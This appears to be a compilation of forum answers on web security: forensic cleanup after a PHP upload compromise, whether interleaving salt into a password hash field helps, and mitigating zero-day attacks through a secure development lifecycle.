These attacks should be responded to with a combination of file and log timeline forensics.  You have a file 46ZqQVmc.php that seems suspicious - what's the timestamp on that file?  How does it compare to the timestamp on the index.php that was updated?  How many other files in your web root have modification times similar to those two files?  You can find a number of other files compromised in the same way using that correlation.

With those timestamps, take a look at your logs.  Who hit your web site at the time that the 46ZqQVmc.php file showed up?  What URI did they hit?  That might tell you the script that was abused in order to upload the file.  If my experience is any indicator, you can then find hits to the uploaded PHP file that correlate time-wise with the file modification of index.php and any other hacked files.

Once you've correlated file times with web logs, you've also learned the IP address(es) of your attacker.  Now go through the logs and look for everything they did.  You might find references to other files and URIs.

Your end goal in all this is to identify the file they abused to gain access to your system.  In my case, they uploaded an image file with PHP in it, and when they hit it from a web browser they could upload PHP programs as part of the HTTP request and it would run it for them.  They took advantage of a script already on the server called "thumb.php" to do this.  You need to find what script of yours they took advantage of so that you can remove or update it to remove the security hole.

Your cleanup will consist at a minimum of closing the hole they used to get in, and removing the code that they injected into all your files (like index.php).  Once you've done all that, take down your maintenance page, scan yourself with Sucuri, notify Google to scan you.

Traditional wisdom is that there is no such thing as a cleaned system, that the only way to be sure you're secure is to identify the root cause, and then build a new system with that corrected and restore from known good backups.  That's not realistically possible for many people; they don't have backups at all.  The good-ish news is that, if you were in fact hit in the manner I described, the attacker probably didn't bother to try and expand their compromise.  They probably didn't elevate to root privileges, modify system files, or grab password hashes.  (You should change all your passwords anyway, but...)  In a limited scope breach like this, the limited measures I've described may be good enough.

You should also consider additional restrictions once you've cleaned up - file integrity monitor like AIDE, PHP lockdown to disable unnecessary and dangerous functions, restrictive file permissions to block the web server writing to the web root.  It's all dependent on what web apps you're running, look for hardening guides.

Good luck.


Is mixing password hash and salt in the same database field more secure? I am storing in my database the user password hash and salt.

I would like to know if putting together hash and salt in the same field is adding complexity to a potential hacker who had access to the database?

Like this:

h:hash and S:salt
hhhhhhhhhhhhhhhhSSSS

And even like this:

hhShhhhhSShhhhShhShhhh

Positions of salt octets will be chosen arbitrary, and hash and salt will be reconstructed at runtime.

Is it useful? Or completely useless?

Having the salt and the password together is pretty common, bcrypt uses something similar. The hash returned by bcrypt has the following format

$prefix$cost$salt+hash

About the scrambling, while it may give you some kind of protection against most attackers, it's just adding security through obscurity. As far as the attacker doesn't know how are you scrambling the result it will give some protection, but once the attacker knows that it won't give any protection

In general, security through obscurity is not recommended as the only security layer, but in this case it's an additional one over good password hashing practices (I'm assuming you use bcrypt or some equivalently secure password hashing algorithm). But IMO, a better security improvement can be obtained increasing the cost/iterations of the hashing function used


What are the best practices for mitigating zero day attacks? What are best practices / recommendations / strategies for mitigating zero day threats/attacks from a software development perspective?

Holistic SDL.

By definition, you can't defend against a specific attack that you don't know about beforehand.
However, if you implemented a complete, Secure Development Lifecycle through all the phases, including appropriate Threat Modeling, and you mitigate the threats (not the attacks) - then you should be relatively okay.